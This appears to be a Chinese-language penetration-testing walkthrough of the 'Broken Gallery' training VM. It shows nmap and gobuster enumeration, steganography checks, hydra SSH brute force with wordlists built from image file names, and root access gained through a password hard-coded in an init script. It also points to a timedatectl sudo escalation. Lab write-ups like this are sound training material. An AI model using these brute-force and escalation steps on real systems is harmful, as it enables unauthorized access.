OSCP-005-Broken
Broken Gallery
主机发现
netdiscover -r 192.168.174.0/24 |
获得目标ip:192.168.174.176
端口,服务扫描
nmap -A -p- 192.168.174.176 |
得到22和80端口开放
下面还有另一种方法,首先通过namp生成扫描结果的文件
nmap -sT -p- --min-rate 1000 192.168.174.167 -oA ./Broken_galley |
生成报告后,用awk去找,算是练习把
cat Broken_galley.nmap | grep "open" | awk -F '/' '{print $1}' | paste -sd ',' |
nmap -sT -sC -sV -p 22,80 192.168.174.176 -oA ./detail |
这种带目录的扫描比较好看
访问服务
有一些图片,和一个readme文件,下载下来是一串16进制的字节码
通过xxd还原成二进制文件
xxd -r -ps README.md > README.bin |
- -r选项用于将十六进制格式转换回二进制格式
- -p表示输出纯粹的十六进制编码,而不包括其他信息
- -s选项用于跳过文件的前N个字节
通过strings来读二进制文件,通过head来读取前几行内容来确定文件类型
strings README.bin | head -n 10 |
可以看到jfif头,说明这个文件是图片文件,更改为jpg后缀并打开
mv README.bin README.jpg |
应用程序是坏的的,基础设施是坏的。。。没什么思路
目录扫描
dirb http://192.168.174.167 |
没什么收获,估计要从图片出发,这里也提供另一种方法
gobuster
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -u http://192.168.10.111/ -x txt,rar,zip,tar,sql,php |
内容会更全一点,但在这里也没什么返回,后台挂着,gobuster还可以扫别的内容
图片隐写
xdg-open img_forest.jpg 查看图片的命令 |
strings *.jpg | less |
没什么内容
再用exiftool来看看其他图片,没有发现有隐藏的信息
exiftool *.jpg |
也有另一种方法看
steghide extract -sf img_5terre.jpg |
也没什么内容,只能从爆破ssh去测试了
爆破SSH
看看文件名有啥提示
ls | grep .jpg | sed s/\.jpg// |
推测应该是密码或用户名,用这个来生成一个wordlist
ls | grep .jpg | sed s/\.jpg// > wordlist |
接下来用hydra爆破测试
hydra -L wordlist -P wordlist 192.168.174.176 ssh |
失败,去掉前缀试试
cat wordlist | sed s/img_// > wordlist2 |
再把broken和galley加上
echo -e "broken\ngalley" >> wordlist2 |
然后利用rsmangler工具,它首先将对所述输入字和生成的所有排列和字样的缩写(为了它们出现在文件中)完成的各种操作之前它适用的其余部分
https://zing.gitbooks.io/kali-lunix/content/09x/9x29_RSMangler.html
rsmangler -m 6 -x 8 -r -d -e -i --punctuation -y -a -C --pna --nb --space --allow-duplicates -f wordlist2 -o mangled |
然后进行爆破
hydra -L wordlist2 -P mangled 192.168.174.176 ssh |
也可以从另一种思路出发,根据图片手动生成字典
5terre |
通过crackmapexec进行SSH爆破
#--continue-on-success:表示成功获得凭据后继续爆破 |
获得账号密码
broken:broken |
登陆
ssh broken@192.168.174.176 |
查看可以用户环境
sudo -l |
提权
首先查看历史命令,看看线索
发现有个密码策略文件,尝试寻找一下这个文件
ls -lah |
得到路径/etc/init.d/pasword-policy.sh
cat /etc/init.d/password-policy.sh |
!/bin/bash |
这段脚本是一个简单的 Bash 脚本,用于检查当前是星期几,并在星期四时更改 root 用户的密码。下面是脚本的逐行解释:
#!/bin/bash
:这是一个 shebang 行,告诉系统这个脚本应该使用哪个解释器来执行,这里是 Bash。DAYOFWEEK=$(date +"%u")
:这行命令使用date
命令获取当前的星期数(星期一为 1,星期日为 7),并将其存储在变量DAYOFWEEK
中。echo DAYOFWEEK: $DAYOFWEEK
:这行打印出当前的星期数。if [ "$DAYOFWEEK" -eq 4 ]
:这是一个条件语句,检查DAYOFWEEK
是否等于 4(星期四)。then
:如果条件为真(即当前是星期四),则执行下面的命令。sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd'
:这行命令使用sudo
以超级用户权限执行sh -c
,然后通过管道将echo
命令的输出传递给chpasswd
命令,从而更改 root 用户的密码为 “TodayIsAgoodDay”。fi
:结束 if 语句。
注释掉的 #if [ "$DAYOFWEEK" == 4 ]
行是另一种写法,使用 ==
进行字符串比较,但由于 DAYOFWEEK
是一个数字,所以应该使用 -eq
来进行数值比较。
为了测试,我们改成周一的版本,我们先通过下面的方法改一下脚本,再来reboot
date +"%u" |
cat /etc/init.d/password-policy.sh |
!/bin/bash |
sudo reboot |
ssh root@192.168.174.176 |
记得用broken连上再su root
timedatectl提权
前面我们看到broken用户还可以执行timedatectl命令
通过gtfobins:https://gtfobins.github.io/ 来查看对应的提权方法
sudo timedatectl list-timezones |